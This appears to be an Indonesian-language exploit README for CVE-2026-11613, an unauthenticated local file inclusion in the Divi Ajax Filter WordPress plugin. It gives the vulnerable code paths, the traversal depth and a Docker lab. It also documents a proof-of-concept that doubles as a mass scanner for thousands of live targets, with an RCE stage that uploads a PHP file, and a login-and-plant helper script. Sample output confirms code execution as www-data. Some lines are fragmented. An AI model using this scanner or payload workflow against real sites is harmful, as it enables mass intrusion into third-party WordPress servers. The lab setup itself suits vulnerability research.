
Divi Ajax Filter <= 5.1.2 Unauthenticated Local File Inclusion via 'custom_loop_template'
| Plugin | Divi Ajax Filter (Divi Engine, premium — bukan di wordpress.org SVN) |
| Affected | semua versi <= 5.1.2 (lab memakai 3.1.8.4 dari mirror) |
| Patched | 5.1.3 (11/08/2026) |
| Tipe | CWE-98 — PHP Local File Inclusion, unauthenticated |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N) |
| Advisory | Wordfence (finder: h0xilo), dipublikasi 04/09/2026 |
| Sumber kode | mirror publik: github.com/albertoformi/fr9z3i4pwxt3qx (site WP + plugin di includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 membuat
wp_create_nonce('filter_object') dan menempelkannya via wp_localize_script
(filter_ajax_object.security) pada script yang di-enqueue untuk SEMUA pengunjung
(wp_enqueue_scripts). Nonce bukan penghalang: setiap visitor punya salinannya.filter_ajax.php:3406-3407 & loadmore_ajax.php:569-570
mendaftarkan handler dengan wp_ajax_nopriv_* (tanpa login).filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), lalu
$custom_loop_template = $loop_var['custom_loop_template'] verbatim —
tanpa basename(), tanpa whitelist, tanpa realpath check.filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
$posttype dari JSON
query bebas, tidak ada allow-list) dan query harus menghasilkan >= 1 post.<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ butuh ../../../../../ (5×) untuk kembali ke webroot. CATATAN PENTING:
file_exists()/include() gagal diam-diam jika komponen prefix path tidak ada —
direktori divi-ajax-filter/loop-templates/ di dalam theme harus eksis (ini
struktur custom-template yang didokumentasikan plugin, jadi umum ada di site
yang memakai fitur ini; tanpa dir itu traversal diblokir secara efektif).cve-2026-11613/
├── poc_http.py # PoC + live massive scanner (single file)
├── divi-ajax-filter-3.1.8.4.zip # plugin siap install (upload via WP admin / Plugins > Add New)
├── README.md
├── mirror-site/ # clone github albertoformi/fr9z3i4pwxt3qx
│ └── includes/modules/divi-ajax-filter/ # plugin v3.1.8.4 (affected)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB, port 8099
├── setup.sh # copy plugin + compose up
├── install_wp.sh # install WP + verifikasi
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # shim DiviExtension/ET_Builder_* (lab-only)
│ └── zz-activate-daf.php # auto-aktivasi plugin
├── plugins/divi-ajax-filter/ # plugin rentan (di-mount ke container)
└── uploads/poc-rce.php # payload "upload" tersimulasi (exit di akhir)
bash lab/setup.sh # copy plugin + docker compose up (port 8099)
bash lab/install_wp.sh # install WP (admin / LabPass!2026)
# tambah struktur theme yang dibutuhkan traversal:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# buat 2 post contoh (sekali saja):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # auto http://
python poc_http.py https://target.com domain2.com # beberapa target
python poc_http.py --list targets.txt --threads 30 # massive scan 5000+
python poc_http.py --list targets.txt --fast # sweep ringan 2 req/target
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # stage RCE
http://; dedupe otomatis; hasil langsung
ditulis inkremental ke results_cve-2026-11613.csv (aman Ctrl-C, hasil parsial tersimpan).VULN: LFI / VULN: LFI+RCE (hijau), not-confirmed (kuning),
NO-NONCE / NO-PLUGIN (cyan), UNREACHABLE / ERROR (merah).--no-color / env NO_COLOR untuk output polos; warna otomatis mati saat piped.python wayang.py <site> <wp-user> <wp-pass>
Satu perintah: login → tanam canary WayangXploit (plugin kecil non-aktif,
PoC-only: cetak marker+uid+uname lalu exit, bukan webshell, tanpa parameter
cmd) → verifikasi → sweep LFI unauth → verdict RCE. Auto: https-upgrade,
SSL bypass, redirect-preserving POST. Cleanup: hapus plugin
"WayangXploit Canary" + "Divi Compat Shim" di wp-admin setelah uji.
poc_http.py sekarang default --upload-marker WayangXploit-RCE-CONFIRMED
(jadi cukup --upload-rel / --upload-name saja).
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
Syarat exploitability di live target (yang dicek live_scan.py):
filter_object terekspos di halaman publik (module script di-enqueue).<theme>/divi-ajax-filter/loop-templates/ (prefixed traversal butuh ini).